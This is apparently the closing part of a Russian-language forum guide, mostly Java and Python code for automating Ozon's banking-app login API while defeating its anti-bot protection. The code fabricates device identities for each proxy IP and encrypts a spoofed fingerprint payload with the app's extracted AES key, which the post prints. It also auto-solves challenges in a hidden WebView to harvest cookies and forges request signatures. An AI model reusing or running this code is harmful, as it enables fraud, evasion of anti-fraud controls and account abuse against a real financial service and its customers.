        if (!jar.header().isEmpty()) h.append("Cookie: ").append(jar.header()).append("\r\n");
        byte[] bb = body == null ? new byte[0] : body.getBytes("UTF-8");
        h.append("Content-Length: ").append(bb.length).append("\r\n");
        h.append("Connection: close\r\n\r\n");

        OutputStream os = ssl.getOutputStream();
        os.write(h.toString().getBytes("ISO-8859-1"));
        if (bb.length > 0) os.write(bb);
        os.flush();

        Resp r = readResponse(ssl.getInputStream());
        ssl.close();
        return r;
    }

    // readResponse + Jar опущены для краткости, логика обычная:
    // status line -> headers -> (chunked | content-length | read-all)
    // каждый Set-Cookie кладем в jar.
}
Спойлер
Один набор идентификаторов на прокси-IP, хранение в SharedPreferences.
code

public final class Identity {
    public final String androidId, installId, deviceId, sessionId;

    public static Identity load(Context ctx, String key) {
        SharedPreferences sp = ctx.getSharedPreferences("rat_id_" + key, Context.MODE_PRIVATE);
        String a = sp.getString("android_id", null);
        String i = sp.getString("install_id", null);
        String d = sp.getString("device_id", null);
        String s = sp.getString("session_id", null);
        boolean dirty = false;
        if (a == null) { a = randHex(16); dirty = true; }
        if (i == null) { i = UUID.randomUUID().toString(); dirty = true; }
        if (d == null) { d = UUID.randomUUID().toString(); dirty = true; }
        if (s == null) { s = UUID.randomUUID().toString(); dirty = true; }
        if (dirty) sp.edit().putString("android_id", a).putString("install_id", i)
                .putString("device_id", d).putString("session_id", s).apply();
        return new Identity(a, i, d, s);
    }

    private static String randHex(int n) {
        SecureRandom r = new SecureRandom();
        StringBuilder sb = new StringBuilder();
        for (int k = 0; k < n; k++) sb.append(Character.forDigit(r.nextInt(16), 16));
        return sb.toString();
    }
}
Спойлер
Тот самый шифратор пейлоада родным ключом.
code

public final class MfEncoder {

    private static final byte[] BLOB = hex(
        "5d3a9d9237450777b3028be69a06bd1376ccc0d2f73748bedfc28909a551d789" +
        "290752c732d0da1d0a78cb327d53c8b66e61a67e6f6ae39c9bdf0d3c78832622" +
        "4145534145532f4346422f4e6f50616464696e67");

    public static String encode(String json) throws Exception {
        byte[] key = slice(BLOB, 0, 32);
        String cipher = new String(slice(BLOB, 67, 84), "UTF-8");  // AES/CFB/NoPadding
        String algo   = new String(slice(BLOB, 64, 67), "UTF-8");  // AES

        String plain = System.currentTimeMillis() + "," + json;
        byte[] iv = new byte[16];
        new SecureRandom().nextBytes(iv);

        Cipher c = Cipher.getInstance(cipher);
        c.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, algo), new IvParameterSpec(iv));
        byte[] ct = c.doFinal(plain.getBytes("UTF-8"));

        byte[] out = new byte[iv.length + ct.length];
        System.arraycopy(iv, 0, out, 0, iv.length);
        System.arraycopy(ct, 0, out, iv.length, ct.length);
        return Base64.encodeToString(out, Base64.NO_WRAP);
    }

    private static byte[] slice(byte[] a, int i, int j) {
        byte[] r = new byte[j - i]; System.arraycopy(a, i, r, 0, j - i); return r;
    }
    private static byte[] hex(String s) {
        byte[] r = new byte[s.length() / 2];
        for (int i = 0; i < r.length; i++) r
Спойлер
WebView исполняет abt-challenge и мы забираем cookies. Никакого ручного участия.
code

public final class ChallengeSolver {
    private static final String API = "https://api.ozon.ru";

    public static String solve(Activity act, String url, Map<String,String> seed, long timeoutMs) {
        final CountDownLatch latch = new CountDownLatch(1);
        final CookieManager cm = CookieManager.getInstance();
        cm.setAcceptCookie(true);
        act.runOnUiThread(new Start(act, url, seed, cm, latch));
        try { latch.await(timeoutMs, TimeUnit.MILLISECONDS); } catch (InterruptedException ignored) {}
        return cm.getCookie(API);
    }

    static final class Start implements Runnable {
        final Activity act; final String url; final Map<String,String> seed;
        final CookieManager cm; final CountDownLatch latch;
        Start(Activity a, String u, Map<String,String> s, CookieManager c, CountDownLatch l) {
            act = a; url = u; seed = s; cm = c; latch = l;
        }
        public void run() {
            WebView wv = new WebView(act);
            WebSettings s = wv.getSettings();
            s.setJavaScriptEnabled(true);
            s.setDomStorageEnabled(true);
            s.setDatabaseEnabled(true);
            s.setUserAgentString("Mozilla/5.0 (Linux; Android 14; Pixel 7 Build/UP1A.231005.007; wv) "
                    + "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.0.0 Mobile Safari/537.36");
            cm.setAcceptThirdPartyCookies(wv, true);
            if (seed != null)
                for (Map.Entry<String,String> e : seed.entrySet())
                    cm.setCookie(API, e.getKey() + "=" + e.getValue());
            cm.flush();
            act.setContentView(wv);
            wv.setWebViewClient(new WebViewClient());
            wv.loadUrl(url);
            new Handler(Looper.getMainLooper()).postDelayed(new Poll(cm, latch), 1500);
        }
    }

    static final class Poll implements Runnable {
        final CookieManager cm; final CountDownLatch latch; String base; int tries;
        Poll(CookieManager c, CountDownLatch l) { cm = c; latch = l; }
        public void run() {
            String c = cm.getCookie(API);
            if (base == null) base = c;
            if (tries++ >= 18 || (tries > 2 && c != null && !c.equals(base))) { latch.countDown(); return; }
            new Handler(Looper.getMainLooper()).postDelayed(this, 1000);
        }
    }
}
Спойлер
Связка всего: initAuth -> entry -> mf -> челлендж -> entry. Подпись через оракул.
code

public static void run(Context ctx) throws Exception {
    Identity id = Identity.load(ctx, "p10811");
    Http http = new Http("192.168.3.66", 10811, "user", "pass");

    // 1) initAuth
    String initUrl = API + "/composer-api.bx/_action/initAuth?type=OnSessionInit";
    http.req("POST", initUrl, "{\"clientId\":\"ozonbankfinance_android\",\"traceId\":null}", h(initUrl, "POST", id));
    sleep(2500);

    // 2) entry (ожидаем 403 + antibot)
    String entry = API + "/composer-api.bx/_action/ozonIdPageEntry?iso=RU";
    Http.Resp r = http.req("POST", entry, entryBody(id), h(entry, "POST", id));
    r = follow(http, r, entryBody(id), id);

    // 3) антибот-пейлоад
    String abt = API + "/abt/result-mobile?isAsyncOnLogin=true";
    String mf = MfEncoder.encode(Fingerprint.json("asyncOnLogin", id.androidId));
    http.req("POST", abt, "{\"mf\":\"" + mf + "\",\"mfToken\":null,\"n\":null}", h(abt, "POST", id));
    sleep(2500);

    // 4) авто-солвер челленджа
    String challenge = field(r.body, "challengeURL");
    if (challenge != null && ctx instanceof Activity) {
        String cookies = ChallengeSolver.solve((Activity) ctx, challenge, http.jar.entries(), 20000);
        http.jar.merge(cookies);
        sleep(1000);
    }

    // 5) повтор entry -> 200 EntryDTO
    Http.Resp r2 = http.req("POST", entry, entryBody(id), h(entry, "POST", id));
    r2 = follow(http, r2, entryBody(id), id);
    Log.i("RATNET", "final: " + r2.code + " " + r2.body);
}

private static Map<String,String> h(String url, String method, Identity id) {
    String ver = "19.33.1(16030341)";
    Map<String,String> m = new LinkedHashMap<>();
    m.put("Content-Type", "application/json");
    m.put("User-Agent", UA);
    m.put("x-requested-with", "ru.ozon.app");
    m.put("x-o3-app-name", "ozonbankfinance_android");
    m.put("x-o3-app-version", ver);
    m.put("x-o3-device-type", "mobile");
    m.put("x-o3-device-language", "ru");
    m.put("x-o3-fp", "1.d9f8368943e8fe03");
    m.put("x-app-uuid", id.installId);
    m.put("x-ob-sessionid", id.sessionId);
    m.put("x-ob-model-device", "Google Pixel 7");
    m.put("x-ad-id", Sign.xadid(url, method, "ozonbankfinance_android", ver,
                                "1.d9f8368943e8fe03", id.installId));
    return m;
}
Спойлер
Если не хочется поднимать Java-клиент, подпись можно запросить у оракула отдельно (например по локальному сокету), а весь флоу гонять на Python.
code

import requests, base64

API = 'https://api.ozon.ru'
XO3FP = '1.d9f8368943e8fe03'

def build_headers(url, method, app, ver, ad_id, xad_id):
    return {
        'content-type': 'application/json',
        'user-agent': 'Mozilla/5.0 (Linux; Android 14; Pixel 7) AppleWebKit/537.36 Chrome/120 Mobile Safari/537.36',
        'x-requested-with': 'ru.ozon.app',
        'x-o3-app-name': app,
        'x-o3-app-version': ver,
        'x-o3-device-type': 'mobile',
        'x-o3-device-language': 'ru',
        'x-o3-fp': XO3FP,
        'x-app-uuid': ad_id,
        'x-ob-model-device': 'Google Pixel 7',
        'x-ad-id': xad_id,
    }

s = requests.Session()

r = s.post(f'{API}/composer-api.bx/_action/initAuth?type=OnSessionInit',
           json={'clientId': 'ozonbankfinance_android', 'traceId': None})

r = s.post(f'{API}/composer-api.bx/_action/ozonIdPageEntry?iso=RU',
           json={'deviceId': DEVICE_ID, 'supportCountrySelect': True})

mf = build_mf(fingerprint_dto('asyncOnLogin', ANDROID_ID))
s.post(f'{API}/abt/result-mobile?isAsyncOnLogin=true',
       json={'mf': mf, 'mfToken': None, 'n': None})

r = s.post(f'{API}/composer-api.bx/_action/ozonIdPageEntry?iso=RU',
           json={'deviceId': DEVICE_ID, 'supportCountrySelect': True})
print(r.status_code, r.text[:400])
Всем добра!
Ну вот и все, вроде ничего не забыл. Если было полезно - оставьте реакцию, мне будет приятно 🦊